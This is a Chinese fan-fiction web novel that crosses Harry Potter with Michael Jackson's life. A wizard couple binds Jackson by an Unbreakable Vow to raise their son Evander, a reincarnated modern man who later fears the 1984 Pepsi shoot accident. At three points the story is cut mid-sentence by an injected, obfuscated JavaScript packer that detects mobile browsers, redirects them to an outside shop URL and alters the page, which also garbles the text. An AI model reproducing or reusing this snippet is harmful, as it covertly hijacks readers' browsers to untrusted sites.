《【HP&MJ】美娱?错,去寄宿学校拯救世界!》 1. The kid is my son. 1980年6月25日晚,迈克尔·杰克逊正独自骑车在洛杉矶的街道上飞驰。 《Thriller》的录制成品让他失望极了——唱片公司在前些天送来了样品,他不知道自己在过去的几个月里到底创造了一些怎样的垃圾。 没错,一团糟的垃圾! 在过去的这段日子里,《Of The Wall》的成功让他脱离家族品牌和父亲掌控的心情更加迫切起来。他想要证明自己的才华,发出自己的声音,而不是永远作为“杰克逊家族”中的一个。 可现在的成品根本对不起他的努力和期望……他开始怀疑自己是否真的应该制作这张专辑,或许他的选择是错误的…… 朋友建议他出门散散心,不要一味地钻牛角尖——这就是为什么这位有名的歌星正迎着晚风骑车。 不得不说,这个方法很不错。正因为骑车自行车在路上行驶,哪怕迈克尔出门时根本没做什么像样的伪装,仅仅是戴了一顶鸭舌帽,路上也没有人认出他来——没有人会无缘无故盯着一个骑自行车的男人仔细分辨。 好吧,只有这种时候,迈克尔才会庆幸比尔不允许他独自开车。 他漫无目的地骑着,在关注路况的同时,思绪也将有关音乐创作的烦恼抛之脑后,渐渐放空…… 就在这时,意外出现了。 当迈克尔骑过一个亮着路灯的拐角时,“噗呲”一声,一团影子突然在他眼前显现。他下意识刹车,但显然为时已晚。 “砰!” 影子被他撞飞了几米远,发出一声显然是男人的痛苦呻吟;还有一个影子站在原地——迈克尔现在看清楚了,是个女人——她向他举起了一根木棍。 迈克尔还没来得及说什么,女人就做出了他始料未及的动作。 “统统石化!(Petrificus Totalus!)” 什么…… 迈克尔突然感到浑身僵硬,本应脱口而出的疑问也悄无声息。 如果他还能动,一定会惊讶地瞪大眼睛。 【Gee(天哪)……是魔法!我居然遇见了一位魔法师!】 女人没有继续施咒,而是迅速跑到了灯光下,查看起被迈克尔撞飞的男人的情况——迈克尔这才看清楚了他们的装束:两人都穿着黑色的、不知道是什么材质的长袍,手里紧紧握着形状不同的木棍。 迈克尔注意到男人正在流血——而且失血很快,血液不断滴落,像是没关紧的水龙头。他正用拿着木棍的左手紧紧捂住腹部的伤口,整个人都有些站立不稳,却还是把一个手提箱护在怀里。 他的手臂上还有一个黑色的骷髅头标记——迈克尔总觉得那个标记是活着的,看起来阴森又恐怖。 “兰登,你怎么样?” 女人喘着粗气,语气紧张地询问。 “暂时还死不了,亲爱的——不过也快了。我撞到的那个人,他是谁?” “一个麻瓜,”迈克尔没听懂这个词的意思,但他知道应该不是褒义的,“我对他施了石化咒。” “……” 名为兰登的男人顿住了,没有第一时间接过话。空气顿时安静下来,只能听见女人不断重复念着一道不同于刚才的咒语的声音: “愈合如初(Episkey),愈合如初,愈合如初……” “好了,艾玛——你知道贝拉用的肯定是黑魔法。普通的治疗咒语是不起作用的。” “那我们现在……” “不能去圣芒戈。我们身上都有黑魔标记,他们很快就会追过来,”相较于艾玛的焦急,兰登的言语中带着一种奇异的平静,“扶我一把——到那位先生身前去。” 迈克尔看着两个人走到他身前来。兰登像刚才的艾玛一样,举起木棍,对着他念了一句咒语: “咒立停。(Finite Incantatem)” 迈克尔下意识眨了眨眼——他能动了。 迈克尔站在原地没动。 眼前的两个人对他来说还算友善——至少目前来说是这样。而且就算他想跑,对这两位魔法师来说,让他失去行动能力也不过一句话的事。 “你叫什么名字,先生?” “哦……”迈克尔有些意外这种没人认识他的感觉——通常情况下,往往是他还没有自我介绍,别人就一脸惊讶地叫出了他的名字,“迈克尔,迈克尔·杰克逊,兰登先生。” “叫我兰登吧,”兰登的面色逐渐变得苍白,冷汗从他额角冒出,“我知道你对我们有许多疑问,但我们恐怕没时间为你解释了。现在,我需要你为我们做一件事情——请你把手递给我。” 迈克尔照着他所说的做了。他伸出左手,而后兰登将木棍放进了怀里,用浸满了鲜血的左手紧紧抓住了迈克尔的小臂。 黏腻的鲜血也留在了迈克尔的小臂上——这让他感觉糟糕极了。 迈克尔不喜欢血。 他原本生活在贫穷的黑人街区,硝烟、冲突和鲜血构成了他的日常;关上房门,哪怕能躲避外在的恐惧,也无法停止父亲乔瑟夫对他的暴力。 在他因舞台事故摔断了鼻梁,不得不进行整形手术后,他就变得更加讨厌医院、讨厌消毒水和药品的味道。那里还会有费尽心思抓拍、编造他一举一动的狗仔,他们将他最脆弱狼狈的一面公之于众,以博取眼球。 鲜血会让他想到疾病、想到恐惧、想到恶意、想到死亡、想到战争、想到一切不好的东西…… “你也抓住我的小臂,迈克尔,”兰登用一种不容置疑的命令口吻对迈克尔说话,但迈克尔在其中听出了一种哀求,“接下来,我的妻子,艾玛,她会为我们施法。我要与你达成牢不可破的誓言(Unbreakable Vow)……” 迈克尔被这一连串话冲昏了头——兰登到底想干什么? “兰登……” 艾玛皱着眉头,似乎下意识想开口说些什么。但最终,她还是审视了迈克尔几秒钟,就陷入一种骇人的沉默,用木棍的顶端抵住了两人交握的部分。 “请看着我的眼睛,迈克尔先生。” 迈克尔下意识抬头——兰登的眼睛是黑色的,就和迈克尔自己的眼睛一样。不同于他的眼睛在光的折射下如同透亮的琥珀,兰登的眼睛像是黑色的深潭,深不见底,令人畏惧。 几秒钟之后,兰登松了口气,向着艾玛点了点头。 “开始吧。” “迈克尔,在我的儿子埃凡德(Evander)十一岁前,你愿意尽心尽力抚养他,保护他健康成长吗?” 迈克尔大吃一惊,瞪大了眼睛。 “什么——” “你只需要说‘是’,”艾玛冷冷地打断了迈克尔的话,“如果你一定要拒绝,那我就只好现在就杀了你。” 这一次,兰登也保持了沉默,默认了艾玛的话语——他们的时间紧迫。只要能够达到目的,迈克尔对他们的想法已经不重要了。 迈克尔只好把满腹的疑问咽了回去。 “是的,我愿意。” 一道细细的、耀眼的火舌从魔杖里喷了出来,就像一根又红又热的金属丝,缠绕在他们相握的两只手上。 迈克尔的心里产生了一种非常玄妙的感觉——这份誓言对他来说已经有了重量,他必须用生命来遵守,否则就会发生很不好的事情。 “你愿意将他当作你的亲生孩子来对待,并向任何人保密他的来历,直到他11岁生日那天收到霍格沃茨的来信吗?” “……是的,我愿意。” 哪怕心中再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然他是迈克尔的安全主管,但迈克尔今天完全是背着他偷偷溜出去的——他甚至在三十分钟前接到一个需要转接给迈克尔的电话时才发现这一点。 “小鬼,你在哪儿?” 比尔无奈地询问——这已经不是第一次迈克尔背着他偷偷溜走了,而他居然在逐渐习惯这件事,这实在太可怕了。 电话对面报来一个地址,然后说出了震惊比尔一辈子的话: “我捡到一个孩子,比尔,”迈克尔的声音依旧轻柔,但同样坚决且不容置疑,“我想收养他。你现在能开车来接我吗?我没办法在骑着自行车的同时带着他,这不太安全。” ————————————— 以防我没写明白,以下是一些关于本章内容的注释: 1.兰登的手臂上是黑魔标记,这是食死徒的身份证明。 2.迈克尔·杰克逊于2009年6月25日去世。本章内容改编于他的真实经历。1980年他正在为新专辑《Thriller》苦恼,此时他21岁。 3.本章大多数以迈克尔的视角为主,所以没有称呼兰登和艾玛为“巫师(wizard)”而是“魔法师(magician)”。这两位是我的原创人物,在后文中会逐渐揭露身份。 4.兰登两次与迈克尔对视时都是在使用“摄神取念(Legilimency)”。他会用无声咒,但程度达不到伏地魔/斯内普/邓布利多那样的程度,所以需要看着被摄神取念者的眼睛。 5.标题取自迈克尔·杰克逊的名曲《Billie Jean》的一句歌词。原歌词为“But the kid is not my son.”。 6.我个人认为遗忘咒是有特殊用法的。原著中,赫敏使用遗忘咒,让父母忘记了自己,过普通人的生活,在大战之后就解除了这个咒语,其效果比起单纯的遗忘更像是遗忘+混淆。所以在这里,我也对兰登的遗忘咒做了特殊的设定。 2. 埃凡德的早晨 “艾娃(Eva),艾娃。” 手臂上传来炽热的温度,耳边是熟悉的、轻柔地声音,埃凡德此刻却觉得不耐烦极了。 艾娃是迈克尔给他取的昵称——他这辈子名字的前三个字母Eva 是 Eve 的拉丁语形式,Eva 是“夏娃”这个名字在各语言中的标准变体之一——歌星总是乐此不疲地给身边的人取外号。 “别闹了,迈克尔……”埃凡德含糊不清地抱怨,完全忘记了自己现在只是一个6岁孩子,所谓的“怨念”对成年人来说就是撒娇,“我想睡觉……” 埃凡德努力把眼睛睁开一条缝,看清楚了迈克尔的位置——还有此时此刻他毫不掩饰的灿烂笑容,然后立刻闭上眼,翻身一滚,把整张脸都埋在了歌星温暖的怀抱里,伸手拍了拍他的脸颊。 这不是迈克尔在这些日子里第一次这么逗他玩。甚至在一开始,他还会低气压地老老实实起床。 可没有人能抵挡睡眠的诱惑!在埃凡德充分发掘了“如何表现得像个小孩”之后,他就开始用撒娇、闹脾气(当然,不是无理取闹)的手段来让自己过得更舒心。 “Gee……”迈克尔发出一声感叹,把原本就轻的声音放的更轻了,而后回抱住埃凡德,将孩子彻底揽在怀里,“好吧,那就再睡一小会儿,小瞌睡虫。” 迈克尔的身材并不像他的兄弟们一样健美——他认为那样并不适合他。如果他有发达的肱二头肌和八块腹肌,跳舞的时候就没那么有美感了。 所以,当埃凡德将脑袋贴在他胸口时,感到稍微有些硌人,不安分地胡乱拱了拱。 找到一个舒服的位置后,埃凡德终于安分下来。他感受到歌星温热的呼吸自头顶洒下,顺着发丝、溜进了衣领;耳边则是歌星平稳有力的心跳,如同规则悦耳的旋律,令人无比安心。 或许许多人都有这样的经历——在半梦半醒的状态下,本来想要继续回归睡梦,可又无意识地做了某件事,于是在几分钟后便清醒了。 埃凡德把脸从迈克尔的胸前抬起来,深深吸了一大口新鲜空气,精神满满道: “我醒了,迈克尔。” “是吗?那真是太棒了,”迈克尔夸赞的神色无比真诚,“在我像你这么大的时候,总感觉自己睡不够。” 正疑惑于为什么对方还没有放开怀抱让自己去洗漱,看见迈克尔一脸期待的表情,埃凡德终于想起来自己今天忘了什么。 他毫不吝惜地吻在迈克尔的面颊上,发出“啵”的响亮声音: “今天的早安吻!” 迈克尔终于满意了,笑得像是得到了糖果的孩子。他放开怀抱,同时用嘴唇轻轻地在埃凡德的脸颊上也贴了一下。 “早安,小天使。” ………… 度过了黏黏糊糊的父子时间,埃凡德快速洗漱好,开始监督迈克尔·杰克逊先生吃他的健康早餐。 如果1984年的美国有网络论坛,埃凡德一定要狠狠吐槽迈克尔·杰克逊的十大罪状,其中一项就是极其不健康的饮食。 在过去四年相处的时光中,埃凡德惊恐地发现,迈克尔不仅饮食极其不规律,而且非常挑剔。 他常常为了工作而不吃饭,甚至到了没人提醒就不进食的地步,堪称当代爱因斯坦(相信你们都读过爱因斯坦为了实验废寝忘食的故事,对吧?);就算吃东西,他的餐桌上也很少出现肉类食品——和他在同一张桌子上吃饭会让埃凡德失去所有食欲。 但他并不能算是一个完全的素食主义者——迈克尔不喜欢吃蔬菜,埃凡德看见过他边用蔬菜摆盘边磨磨唧唧地把它们吃完了。 他还相当喜欢肯德基(为什么不是麦当劳?埃凡德觉得麦辣鸡翅才是最好吃的)、无糖的甜食以及橙汁。 在2岁的小宝宝埃凡德用实际行动表明“你不吃饭我也不吃”的准则后,可喜可贺,迈克尔终于记得按时吃饭了——他自己倒是无所谓,只是怕把孩子饿出什么问题来! 只能说对于迈克尔这种人,有时“道德绑架”这种办法,往往是最有效的。 不过,既然谈到年龄和时间,不得不说,在过去的近三年中,确实发生了许许多多的事。 1980年6月26日凌晨,当比尔带着迈克尔回到位于恩西诺的庄园时,杰克逊一家人都认为他疯了。 最先发现这件事情的是母亲凯瑟琳。她有些不放心儿子迈克尔,执意要等他回家了再去睡觉,结果就看见自己的孩子迈克尔生疏地抱着一个2岁左右、沉沉睡着的男孩打开了别墅的大门。 “天啊——迈克尔,”凯瑟琳不由自主地提高了声音,随后又很快放轻了声音,怕吵醒沉睡的孩子,“你怎么……” “我是在路上捡到他的,”迈克尔显得有些紧张,声音同样很轻,“他被放在一个贴了纸条的手提箱旁边。” 迈克尔顿了一下:纸条放在他的口袋里,但是他现在双手抱着孩子。 “把他给我吧……可怜的孩子。” 凯瑟琳没有怀疑迈克尔的说辞——儿子没必要说谎,也不会在这种事情上对她说谎。 她娴熟地从迈克尔怀中接过孩子,用这曾怀抱过杰基、蒂托、杰梅因、迈克尔……怀抱过自己每一个孩子的温柔臂膀,轻轻将孩子拥入怀中。 迈克尔从夹克的口袋里拿出那张纸条。上面是凯瑟琳从未见过的陌生笔迹,漂亮的花体字透露出书写者凌厉的气质和有些急促的心情: 【请收养我的儿子,他生于1978年6月25日,名字是埃凡德。 箱子里是我留下的钱财,请随意取用,作为善意的报酬的一部分。 请将箱子在他11岁那年归还给他。】 “天呐,”凯瑟琳眉头紧皱,“怎么能这样将孩子扔在路边呢……” 如果不是今天捡到孩子的恰好是迈克尔,而换做是任何其他心怀不轨的人,那人大可以直接拿走箱子而弃男孩不顾。 凯瑟琳不敢想象这个孩子会落得怎样悲惨的结局。 “我想收养他,妈妈。” 迈克尔轻轻摸了摸孩子的脑袋。 凯瑟琳有些震惊地看向迈克尔,不过,还不等她说些什么,另一道声音就在屋子里响起: “这应该不会是你在外面的私生子吧,迈克尔?” 来人是珍妮特——迈克尔最小的妹妹。她和迈克尔的关系很好,刚刚陪着母亲一起等迈克尔回来,躺在沙发上睡着了。 “你知道我不会在这种事情上说谎,”迈克尔没有生气,依旧轻声细语,“我不知道自己为什么一定要收养他……好像我内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552661|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音一直在告诉我,我要将他视如己出……” “好吧,”凯瑟琳不再给出否定的意思,“那就等乔起床……” “不管他在不在,我的决定都不会改变。” 迈克尔打断了母亲的话,说完,他紧闭着嘴唇,神色看上去愤怒又畏惧,十分复杂。 他从来不称呼乔为父亲——他早就背弃了和母亲的婚姻。迈克尔在童年时期还常常遭到父亲的殴打和嘲笑,曾经差点被乔活活打死——这就是为什么他总是对孩子们如此宽容、甚至是无底线的溺爱:他试图通过这样做来弥补曾经的自己。 家里的男人们都没法做主:乔(父亲Joseph名字的简称)睡得正香,杰梅因早早就不和家人住在一起,其余几个兄弟姐妹又大多都在睡觉,还有个别甚至不在家里过夜…… 于是,等到所有人反应过来之前,杰克逊家族就又添了一员。 有纸条、迈克尔的证词,再加上他是个明星,本州的法律也没有不允许未婚人士收养孩子的条款,迈克尔收养埃凡德的手续很快就办了下来——尽管这相当的不符合规定。 一切简直就像是被施了魔法一样顺利,顺利到有些不真实。 埃凡德·杰克逊。(Evander Jackson) 在迈克尔·杰克逊看到这个名字后,他突然感到自己和男孩产生了一种奇妙的联系。虽然他们之间并没有血缘关系,就连肤色也大不相同。 他还没有结婚,却拥有了一个孩子。这个孩子不是因为爱或者性而诞生的,就像是上帝送给他的礼物,这样自然而然地出现在一个合适的时机。 他可以带着孩子尽情玩耍,和孩子一起读《彼得·潘》的故事,回应对方的一切疑问,在睡觉前为孩子轻哼摇篮曲…… 可疑问也同样存在:他真的能做好一个父亲吗?他能保护这个孩子平安、幸福地长大吗?他连自己的童年都没能拥有,他受过那么多伤,躲过那么多镜头,连自己都时常需要躲进童话里才能喘口气。 这样的人,有资格成为另一个人的父亲吗? 但只有一点他很清楚:自己绝对不会像乔瑟夫那样用皮带、或者任何其他东西殴打自己的儿子。 等办好一切手续之后,紧张的迈克尔才想起一件另他为难的事情: 他还没有和埃凡德正式认识。如果埃凡德向他询问父母的去向,他该怎么回答呢?而且,他也并没有询问埃凡德的意愿…… 不论如何的紧张或踌躇不前,在凯瑟琳的鼓励下,迈克尔还是选择了尽快和埃凡德见面。 ——————————— 本章注释: 1.哪怕是1980年代美国,对于儿童的保护也有一套相当完善的流程,没个十天半个月是批不下来的。这里就当做是魔法的神奇作用吧。 2.迈克尔·杰克逊的亲属: 凯瑟琳(母亲),乔瑟夫/乔(父亲),拉托亚(二姐),杰基、杰梅因、蒂托(哥哥),珍妮特(妹妹)。 还有一些没有提及的家人,之后如果写了再说吧。 3.文中所有迈克尔的饮食习惯都是取自于他现实中的饮食习惯。有关肌肉那段是他在采访里自己说的。 4.迈克尔喜欢给人取外号、对人恶作剧也是真的。 3. 父与子 埃凡德是在和迈克尔·杰克逊见面的三天后才反应过来的。 他最开始根本没搞清楚状况——体验直升机坠机后突然再次醒来,发现自己的身体变成了一个小孩子。 身体虽然缩小,头脑却依然灵活——这到底是何意味啊?以后他是不是还要边嗦奶嘴边当意大利家庭教师啊? 接着,一个黑人大妈又和颜悦色地抱着他说话——他的母语不是英语,听别人说话有些一知半解,而且费劲。 从大妈和女儿珍妮特的对话来听,他这一世是被亲生父母遗弃在路边,只留下一个名字和手提箱,最后被大妈的儿子迈克尔捡回家来的。 通过房子里的日历,埃凡德得知现在是1980年的6月。 一个黑人家庭,在1980年住着大豪宅,窗外还时不时有什么长颈鹿、羊驼之类的动物路过吗?有点意思。 过了几天,他和一脸紧张的养父迈克尔见了面——迈克尔有一头卷曲的黑色中长发,一双纯真又漂亮的深棕色大眼睛,脸上的微笑很腼腆。黑人男性给人的第一印象往往是粗犷的、敦厚的,但迈克尔的五官却很秀气。 最重要的是,他很年轻,看起来不过二十岁——这样的年纪,为什么要收养一个在路边捡到的孩子呢? “你好,埃凡德,”迈克尔和被乖乖抱在凯瑟琳怀里的男孩打招呼,“我是迈克尔,是你的……” 迈克尔的嘴巴张开又闭上,还是没能把话说出口。 “你的新爸爸。” 妹妹珍妮特毫不在意地补全了他的话。 埃凡德早就知道迈克尔不是自己的亲生父亲。他的关注点在于——迈克尔的声音又轻又柔,却又不属于所谓的“娘娘腔”的范畴,很独特,但埃凡德一时半会儿想不起来在哪里听过…… 但为了自己以后的吃穿住行,埃凡德决定还是先将疑问抛之脑后,不让本就腼腆的新爹留下“热情一次,内向一生”的阴影。他乖乖开口喊到: “Daddy!” 迈克尔不由自主地咧开嘴笑了——和皮肤一比,他的牙齿白的发光。 埃凡德看得出来,迈克尔很喜欢自己。于是他松开凯瑟琳的脖子,张开双手,向迈克尔要抱抱。 迈克尔有些慌张地接过埃凡德,在凯瑟琳地指导下调整着自己的姿势。 埃凡德能感觉到迈克尔的手心有些出汗。 埃凡德嘿嘿一笑,“吧唧”一下,亲了迈克尔一口——或许是因为变成了小孩子,他的心灵也有些幼稚了。他想看看眼前的青年面对孩子的亲吻有什么反应。 “Wow……” 迈克尔一定是脸红了,连黝黑的皮肤也遮挡不住。他的声音听起来干巴巴的,半天没能接上下一句话。 身边传来两位女性善意的哄笑声。 “你真是个小天使,对吧,迈克尔?”珍妮特同样乐坏了,“我是珍妮特,你的姑姑。” 说完,珍妮特同样把脸颊凑了过来——埃凡德一视同仁,在她脸上大大地啵了一口,乖乖聊了“姑姑”。 接着,是凯瑟琳、拉托亚、杰基、马龙、蒂托……到了最后,就连乔也上来讨了一声“爷爷”。 这让埃凡德觉得这个家的氛围很不错——至少在他眼里目前是这样。 直到三天后,他陪着迈克尔(是的,埃凡德认为是自己陪着迈克尔,因为想玩游戏的并不是他,而是迈克尔!)在房间里玩的时候,看到一张熟悉的唱片——《Of the wall》。 “哦,你想听音乐吗?”迈克尔微笑着拿起唱片,“这是我的唱片——你看,封面上的人就是我。” 【我嘞个豆啊,上帝啊,梅林的胡子啊!】 埃凡德终于想起来为什么他会觉得迈克尔很熟悉了——因为他是迈克尔·杰克逊! 坠机的前一个月,他刚看过迈克尔·杰克逊的传记电影《巨星之路》,里面由贾法尔·杰克逊——迈克尔的侄子来饰演他。 电影里的贾法尔也是夹着嗓子说话的——声音不太像,但说话的方式是很像的。 埃凡德是真的没能第一时间对上号——外国人叫迈克尔的太多了,这名字在中国和“子涵”完全没两样! 难怪一个黑人家庭能在1980年住上豪宅呢!原来他是迈克尔·杰克逊,这下就说的通了。 回头看前几天觉得这个家庭氛围和睦的自己,埃凡德只觉得牙疼——乔是个不折不扣的暴君,不仅小时候经常打孩子们,在迈克尔成名后依然试图控制他,十分令人窒息。 这同样也解释了迈克尔为什么年纪轻轻就收养了他——迈克尔很喜欢孩子,或许就是为了弥补自己的童年。 在埃凡德发呆的时候,迈克尔已经播放起了唱片。 “你喜欢它吗,小天使?” “我喜欢!” 埃凡德下意识做出了回答——他确实很喜欢听迈克尔的歌。 “那真是太好了!” 迈克尔高兴地把他抱进怀里,轻轻哼起熟悉的旋律来。 ………… 在得到了埃凡德喜欢音乐的答案后,迈克尔开始带着埃凡德和自己一起进行音乐的工作。 昆西原本是对此表示抗拒的——身为迈克尔的音乐制作人搭档,他实在很怕埃凡德会令迈克尔分心,又或者孩子会在工作室里捣乱。 不过,在发现迈克尔依旧保持着工作效率,埃凡德大多数时候也是坐在一边听他们创作/写写画画自娱自乐/安安静静睡觉时,也就由他们去了。 问题爆发在一个迈克尔通宵工作后的早晨。 迈克尔结束了工作,叫醒睡着的埃凡德离开工作室时,埃凡德一开始醒了过来,从小床下到地上时,却突然摔倒,不省人事。 迈克尔吓了个半死,火急火燎地把埃凡德送去了医院,得到的诊断结果却是: 【长时间饥饿导致的低血糖晕厥。】 等到埃凡德从昏迷中醒过来的时候,看到的就是一个正在小声啜泣、眼泪流个不停、一脸愧疚自责的迈克尔。 “我没事,迈克尔,”埃凡德前世体会过这种饿到低血糖的感觉,知道自己是什么情况,“别哭,我没有死。” 迈克尔哭的一时间说不出话,只是紧紧抓住埃凡德的手,让埃凡德觉得有些疼。 “真的很对不起……” 迈克尔满怀愧疚和自责地道歉,看上去非常痛苦。 “我差点害死你。” 只是低血糖——埃凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552662|204369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德不能这么说。他一个三岁的小孩子,怎么知道什么是低血糖呢? “那是因为你不好好吃饭,”埃凡德脑筋一转,想到另一个主意,“如果你好好吃饭,我就不会晕倒了。” “为什么?” 迈克尔一时间没能明白埃凡德的逻辑,看起来有点呆呆的,显然是还没从情绪里缓过来。 “因为我和你一起吃饭,”埃凡德现在的肺活量不足以支撑他一口气说一长串话,“只有你好好吃饭,我才能好好吃饭。” “所以你以后一定要规律饮食,小鬼,”一直守在旁边的比尔见缝插针,“就算是为了……你的小天使。” 埃凡德在心里长长叹了口气。 【怎么我像个老妈子一样,不仅要陪迈克尔玩游戏,还要陪他工作,还要监督他按时吃饭……】 【这个家果然离了我就没法转!】 一想到这里,埃凡德就忍不住得意地轻哼起来。 ………… 《Thriller》取得前所未有的成功后,不仅迈克尔受到了前所未有的关注,埃凡德也是同样。 有媒体开始胡乱编造他的身世: 什么他是迈克尔和粉丝的私生子啦、他是老乔的私生子啦…… 还有媒体试图从他“养子”这一身份入手,寻找他亲生父母的真实身份。 最离谱的还是有人将埃凡德和《Billie Jean》这首歌联系起来,说埃凡德是迈克尔和比利·珍的孩子,迈克尔想“去母留子”。 人类群星闪耀时(非褒义)了说是。 狗仔的抓拍、突袭无孔不入,这恰好给了原本就不想去和小豆丁们一起上学的埃凡德一个合理的理由。迈克尔开始为他请老师,在家里上课。 期间,乔和迈克尔爆发了前所未有的争执。 乔再一次不顾迈克尔的意愿,为他计划了和兄弟们一起打巡演,以及百事可乐的广告拍摄。 埃凡德不记得这次广告到底是什么时候拍摄的了。只记得在《巨星之路》的电影中,迈克尔烧伤了头皮,留下了严重的后遗症,从此开始依赖药物。 义务教育培养出来的道德感让埃凡德曾经试探着让迈克尔不要去拍摄广告——迈克尔当然也不想去,但他还是没有办法鼓起勇气和父亲翻脸。 童年的阴影对他来说是一座无法逾越的高山,他甚至不太敢和乔对视。反复和迈克尔提起这件事,只会让他意识到并憎恨自己的懦弱,让他心里更不好受。无法反抗乔让他感到绝望。 这也就意味着,除非埃凡德坦白“我是个穿越者,你去拍广告肯定会受伤”,否则,他没有任何手段阻止迈克尔——迈克尔和百事可乐已经签订了合约,违约会造成一系列的不良后果。 所以,这段时间以来,埃凡德总是寸步不离地跟着迈克尔——不论什么时间、什么工作。他生怕自己一觉醒来就收到迈克尔躺在医院里的消息。 而在别人看来,就是埃凡德对迈克尔表现出了超乎常人的依赖。 ————————— 本章注释: 1.埃凡德对迈克尔人生的很多认知都来源于《巨星之路》,然而这部电影对迈克尔的苦难其实进行了相当的美化。 4. 悲伤与愤怒 1984年1月27日。 自5分钟前,迈克尔告诉埃凡德今天的日程是去百事可乐拍摄广告时,埃凡德就陷入了一种诡异的沉默,只有抓着他的手开始渐渐出汗。 “怎么了,埃凡德?”迈克尔担心地询问,他甚至都不叫外号了,“你看起来很不好。” 埃凡德的面色苍白——不是说他的皮肤白,他本来就是个白人——失去了血色,看上去十分惊惶。 埃凡德没有立刻回答迈克尔的问题,嘴唇数次张开又立刻闭上,发出一些如同呼吸不上来的气音。 【我就要这样看着,什么都不做吗?】 “怎么了?” 这下连迈克尔的脸色也开始严肃而担忧起来。他把埃凡德抱进怀里,摘下墨镜,凑近男孩的脸仔细观察。 “你身体不舒服吗?我们先去医院……” 去医院吗?或许这会是个好主意——迈克尔不会放着孩子不管,这能让他今天暂时免于烧伤的命运。 可是,然后呢? 迈克尔和百事可乐是签了合同的。哪怕他今天、明天、后天都住院,迈克尔总是要去拍广告的。 “你一定要去拍百事的广告吗?”埃凡德期期艾艾道,“我感觉很糟糕……我一直在做梦,梦见你很痛苦,梦见你在惨叫,梦见你在哭泣……你会受伤的……你会被点燃……” 埃凡德还是顾忌着自己最大的秘密——重生。但如果他将自己知道的一切包装成“预言”呢? 他如此殷切地期盼着迈克尔会相信。 还没完全成型的语言系统在情绪的刺激下变得混乱起来,听起来就是一段语无伦次的胡话。虽然迈克尔听懂了,但他却并没有往“预知梦”的方向理解。 “是啊,”男人又陷入了悲伤的沼泽之中,“每每和乔面对面地交谈,我就觉得痛苦极了……我讨厌自己没办法做出反抗。你也感受到了,对吧?” 迈克尔将下巴搁在埃凡德的头顶,轻轻拍打着男孩的后背,不知道是在安慰他,还是在安慰自己。 “等到这次巡演之后,我一定会和他说清楚,”迈克尔的声音低得像是喃喃自语,“我不再为他工作了。我要建一座梦幻岛(Neverland),然后带你一起逃走……” 埃凡德紧紧回抱着迈克尔,心灵如同烈火烹油般煎熬。 四年的朝夕相伴不是虚假的,时间和温情,哪怕铁石心肠也会融化。 迈克尔或许不算是一个合格的父亲: 他总是毫无底线地溺爱着孩子,对埃凡德的任何要求都点头称是;他常常忙于工作,有时带着埃凡德在工作室里一待就是一整天,完全没想到小孩子需要玩耍以释放天性;他几乎没有为埃凡德做过启蒙教育,如果不是埃凡德自己再世为人,只会被宠成不学无术的坏小子。 他甚至还会恶作剧,故意将埃凡德和“肌肉”(迈克尔养的蛇)放在一个房间里,悄悄观察埃凡德的反应,直到埃凡德无助地快哭出来才罢休。 但他是一个善良的父亲。 他可以为孩子改掉自己不好的习惯;他会每天晚上抱着埃凡德睡觉,给他讲《彼得·潘》《绿野仙踪》;哪怕埃凡德做了不合他心意的事情,他也不会愤怒地叫骂,而是耐心地和埃凡德商量、讲道理。 埃凡德刚来的时候总是睡不好。他会梦见死亡、梦见鲜血、梦见疼痛和惨叫,然后一身冷汗地从梦中惊醒。 每每这时,迈克尔总是如同有着心灵感应一般,和他一起醒来。迈克尔和他聊那些不好的梦,然后不厌其烦地安慰他,梦都是虚假的…… 他到底该怎么办? 直接承认自己再世为人,知道他会遭遇厄运? 迈克尔会相信吗?他相信之后,埃凡德自己又该如何自处呢?万一这个秘密被第三个人知道了,会不会有人把埃凡德抓走研究,让埃凡德失去一切呢? 而且,除了百事可乐广告拍摄的事故,以及他的音乐,埃凡德几乎对迈克尔人生中其他的部分一无所知,这样的谎言一戳就破。 ——他真后悔自己没有成为迈克尔的狂热粉丝,对着网上的资料一点一点地扒迈克尔的生平!不然他还可以谎称自己是个预言家,不会陷入如今这种两难的境地。 埃凡德多希望车程再漫长一点,这样他就不用面对现实的残忍。 “我得去工作了,艾娃,”迈克尔平复了情绪,对着比尔嘱咐,“比尔,你会帮我照顾好他的,对吧?” “如你所愿。” 比尔低头询问埃凡德: “要我抱着你吗,小小鬼?” 埃凡德连回话的心情也没有了,只是保持着沉默。他陷入了一种如地狱般的煎熬之中……没有火焰灼烧他的身体,却有火焰侵蚀着他的心灵。 “你看起来糟透了,”比尔温柔地揉了揉他的头发,“别总是愁眉苦脸的,孩子。迈克尔只是去工作,又不是不要你了。” 埃凡德没有回答比尔的安慰,眼睛直勾勾地盯着迈克尔离去的背影,一眨不眨。 ………… 当百事可乐的摄影师提出第二次拍摄时,埃凡德扯了扯比尔的袖子——他的声音太小,片场又太吵了。 哪怕瞻前顾后,道德的拷问令他最终还是决定先做点什么。 “你是迈克尔的安全主管,对吧?我觉得这个广告的拍摄真的很不安全,你能不能向他们提意见?” 